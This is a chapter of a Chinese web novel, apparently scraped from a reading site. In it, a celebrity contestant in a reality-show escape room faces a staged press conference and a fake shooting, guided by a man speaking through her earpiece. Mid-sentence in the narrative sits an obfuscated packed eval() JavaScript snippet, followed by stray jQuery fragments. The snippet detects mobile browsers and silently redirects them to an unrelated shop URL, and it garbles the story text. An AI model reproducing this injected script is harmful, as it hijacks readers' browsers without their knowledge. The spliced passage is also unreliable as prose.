“夏兮野?”
一段夹杂着电流的尖叫过后,裴妄的耳朵里恢复了清明。
难得愉悦的心情被这叫声打断,他的心又忐忑了起来。
“怎么了?”
他没有将通讯器转到公共频道,只是想单独提醒一下明天打算去接她,暂停录制节目的事,却没有想到撞上这么一遭。
裴妄事不宜迟地打开车里的车载电视,调到了节目频道。
硝烟的味道。
当目光变得黑暗如同盲视,耳朵、鼻子的作用就会被无限放大。
“夏兮野?”
耳机里的声音断断续续,但蜷缩着的女人能听出这是谁的声音。
裴..妄。
她紧闭着嘴唇,让自己尽量不说出口。
因为她不知道在这里,在这四面八方有多少摄像头,瞄准她的身体,窃取她的声音。
节目组装在密室里的镜头都是有夜视功能的,当裴妄转到直播画面时,看到的是夏兮野被一个可怖的黑色身影拖行缓慢拖行着,从一条狭窄的小入口,进到仅仅能容纳两三个人的电梯里,上升了有三四层左右,到了一处较为宽敞的地方。
这里周围的布置和大体的情况,就算观众在夜视的摄像头里,也看得不太清楚。
这种情况下,她应该是回答不了话的。
“你先别动,那人还没走。”
夏兮野听见后,将自己的双腿抱得更紧了。
裴妄看着眼前的画面,感到心脏被刺痛了一下。
他又努力观察了一下屏幕里的场景,似乎有着明显的高低差,旁边有几块宽大的布料被吹拂。
既然有风,那就不是个封闭的死地。
“专家、专家,请问,你们真的研究出治愈狂躁症的特效药了吗?”
一道洪亮的声音剪破静谧的黑暗,从夏兮野的身下发出,吓得她赶紧爬了起来。
“噌”,灯亮了。
“夏专家,夏专家!”
夏兮野刚踉跄一步抓着一块帘幕,回头一看,发现下面竟然涌动着一整片人群!
他们拿着话筒和摄像机,争先恐后地想挤到台前,疯狂的闪光灯四处闪烁,衣冠楚楚却沸腾拥挤不堪。
“夏专家真是医学科研界的奇才!”
【夏兮野真是‘仲夏’的宠儿】
“夏专家,请您多阐述一下制作过程!”
【夏老师,请你多摆几个动作】
“夏专家,听说您制作特效药时调配试剂有累到晕倒,现在身体好点了吗?”
【夏老师,听说您在拍摄《王国》时吊威亚有摔伤,现在伤势恢复了吗】
回忆排山倒海,如同洪水猛兽,在她根本没反应过来的时候,就已经把她的大脑里的神经全都撕咬了一遍。
什么?怎么会这样?
夏兮野浑身颤动着,舞台正中央的话筒台距离她仅仅两三步,可她却一片眩晕,攥着帘子,根本无法走到那儿去。
“夏兮野,走过去。”
裴妄的额头上蔓了不少冷汗,他很清楚地感受到了夏兮野在想什么。
太像了,盛典现场的那场回放从头到尾他看了无数遍,而这一模一样的场景,就忽然就出现了,根本不容她有任何的防备措施。
他手指扣着嘴唇,紧紧盯着屏幕:
“去回应他们。”
头顶似乎有蚊虫在盘旋,连同她灌了铅的腿脚一起,磨灭着她的意志。
她做不到。
不知道为什么,这么突如其来的场景复刻,让她忽然什么都做不到了。
身边一个人都没有,苏臣倒下的时候她在,牧斯年快倒下的时候她冲了进去,每个人被记忆逼到临界点的时候,她都出现了。
可现在她坚持不下去了,节目组却把所有人都支走了,谁又能…
刺眼的光线里,熙攘的快门声像无孔不入的鼠类,莽撞地啃噬着夏兮野的精神桥梁。
不要录下去了,这个节目,她不要继续下去了。
对了,导演说过如果进行不下去,对着摄像头比一个“X”型的安全手势,这一切就会,就会……停止了…
望着台下蜂拥的人群,夏兮野惊恐地躲在幕布无法遮掩的角落,颤颤巍巍地举起双手,将手臂慢慢交叉…
“你去过南意吗?”
什么?
夏兮野动作一滞,还未比划完全,堪堪愣在半空。
男人的声音似乎特意克制了疏离的嗓音,放缓了轻柔的语调。
夏兮野愣了愣神。
一阵轻笑,这人宛若自己在嘲笑着自己:
“我在问些什么…”
“你应该是去过的,我记得。你四年前在意大利的卡普里岛拍摄过杂志。”
“时间我也还记得,八月上旬的时候,好像就是现在这日子。”
“那时候你在杂志上拍了好几套服装,在能眺望钻石海的石板路上,在街边吃柠檬冰淇淋的时候,还有躺在海水中央的透明船上。”
“我很难见到你在杂志上笑得有那么开心过,我那时就想,你应该很喜欢意大利。”
夏兮野吞咽着口水,放下了手臂。
她不明白裴妄忽然这么说的含义,但的确让她在嘈杂的环境下舒缓了不少。
“你眼前是漆黑的,只有无数恶意的闪光灯在击退你,尽管能让你看到一线虚假的光明,可终究还是在黑暗里。”
“但夏兮野。”
“你要知道,此时此刻南意是下午两三点,阳光普照。”
“如果你能从这暂时的暗夜里走出来,我就再带你去看看。”
“当然我知道以后以你的实力,不需要我‘带’你去,但是…”
“我想和你去。”
短暂的停滞后,裴妄有看见夏兮野缓慢的起身。
他抿了抿嘴,眼神闪躲着又添了话:
“不止是带你去看南意,还有在南意的…一座写上你名字的庄园。”
“那里很美,但大概都不如你。”
裴妄的声音越来越小,夏兮野怔在原地。
庄园?
裴妄买了个庄园送她?
“夏专家!”
“夏专家,请问您能回答一下问题吗?”
“您在实验室晕倒真的不要紧吗?”
夏兮野被几句焦急的提问拉回现实,颠弄了一下脚踝,好像忽然能走动了。
如果结束这一切能去南意度个假,倒也是让人心情大好了不少。
她甩了甩脑袋,告诉自己马上就要结束了。
利落地走到话筒前,胸前的牌照在空气里晃了晃,带着标准的微笑,夏兮野开了口:
“不要紧,已经好得差不多了,谢谢。”
“那您能分享一些在制作药品时发生的趣事吗?”
“可以说说狂躁症特效药的研发成功对于整个社会而言意味着什么吗?”
“您带领的科研团队成员分别都做出了多少努力呢?”
“今年有信心获得国家或者世界医学奖吗?”
见夏兮野恢复,记者们又不要命似的簇拥而上,高高举着设备,就差没怼到夏兮野的下巴上。
裴妄在车里松了口气。
但刚才似乎有些情难自抑的告白却让他又稍稍吊起了一颗心,有些失态,又有些松快。
又回到熟悉的主场,夏兮野灵魂流利地随意编造着问题的答案,但警觉的她又感到事态的发展好像有点不太对劲。
是不是有什么漏掉了。
右边被刷满黑漆的墙体是不是动了一下?
她下意识看了眼台下离自己最近的那个人,那是曾经裴胜坐的方向。
有些眼熟,但闪光点太强烈,她看得不太清楚….
夏兮野定眼一看。
是111号?
那个刚进密室就擒着她发狂的111号。
闪光灯更剧烈了,夏兮野只能暂时移开目光,踮起脚尖使劲往刚刚那堵挪动的黑墙看去。
裴妄似乎也发现了她的异样,直起身来:
“怎么了?”
夏兮野喃喃:
“有..东西…”
一把枪,愕然出现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086740|182567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
那堵墙,似乎就是将夏兮野拖拽进来的“怪物”,银色的手枪十分显眼地被握在他漆黑的手里,枪口直直对着台上而来。
“躲开!”
“砰!”
“砰!”
两声。
所有人回过神来时,夏兮野已经扑往台下,用整个身体为111号挡住了子弹。
惊人的痛感从肩膀处传来,女人被击打得身形不稳,一旁几个npc连忙帮忙扶住了她。
塑料的子弹掉落,是假的。
夏兮野唉声叹出一口气。
当然是假的,怎么可能是真的。
她后退了几步。
111号松开抱着头的双手,怔怔地回过头看向她。
不是裴胜。
“夏兮野你傻啊你!”
裴妄瞬间就看出来夏兮野的意图:
“我爸死了三年了,你再怎样都救不回他的!”
他手撑着额头,长叹一声。
“疼吗?”
夏兮野轻笑。
如释重负般低下了头。
摄像头里,她像是要给予裴妄回应似的,点了点头。
疼的。
另一颗子弹从舞台上的背景屏幕上滑落。
它又再次击碎了夏兮野的名字。
寂静的大厅。
所有人刚忙完节目给出的双人合作任务,付白音和牧斯年又被吓得魂不守舍,陆风顾昼几人跑上跑下气喘吁吁,每个人脸上都挂着望不着尽头的无奈和担忧。
“各位专家朋友们请注意,各位专家朋友们请注意,你们已经完成了‘检查病人’的任务,现在可以去六楼找你们的同伴汇合了。”
“兮野?”
温向晚从椅子上弹起来。
苏臣理了理袖口,同样站了起来,往电梯口走去。
“她一个人待了那么久,精神状态应该不太好了,快走吧。”
杨霁无聊地翻了个白眼:
“那说不定咱们还得去给她检查检查。”
电梯门开,周围静悄悄,没出什么幺蛾子。
一行人认命地走了进去。
“好了各位观众朋友们欢迎回来,这里是‘野兽的法则’第三季,恋人密室特别篇。”
“经历了一整天的密室冒险,每位野兽嘉宾都有着精彩的表现,现在,他们就在回来的直升机上,让我们一起向她们打招呼吧!”
被一整排灯光照亮的夜色海岸线之外,远处黑深的海平面上泛起铁灰色的冷光,几架直升机降低了高度,似乎是以一种贴着平静波涛飞行的姿势,朝无数的镜头和工作人员的欢呼声驶来。
旋翼撕碎潮湿的雾气,在浪尖投下跳动的阴影。
直升机仓里的嘉宾们笑着挥了挥手,但每个人的脸色都肉眼可见的苍白。
“还打招呼,这节目组真是把我们当仇人整…”
牧斯年向上扬起的嘴角僵硬,不动声色地吐槽着。
“别说了老弟,录着呢..”
林曼曼捂住了他的嘴。
另一边。
“苏臣你真该死啊你告诉我最后一个出来的要留岛上!”
夏兮野举起拳头狠狠砸在了苏臣的手臂上:
“又骗人!又骗人又骗人!”
“害得我拼命做任务!半条命都没了!”
苏臣本以为夏兮野只是做个样子闹着玩,没想到那实心的力气打在身上竟然有些痛。
看来是真的被吓得不轻了。
“好好好,抱歉,抱歉夏老师。”
他连忙轻声道歉,也不为自己辩解,只是轻哄着回握住夏兮野的拳头,用指尖亲昵地磨蹭着:
“我的错,我的错..”
“你..”
“不过啊,”
苏臣靠近:
“夏老师,你真的不好奇…”
夏兮野身子一滞,感到苏臣忽然更加亲密地贴近,只为在她耳畔发出一道轻得连摄像机都录不进去的声音:
“密室里的这些‘个人’环节,都是谁设计的么?”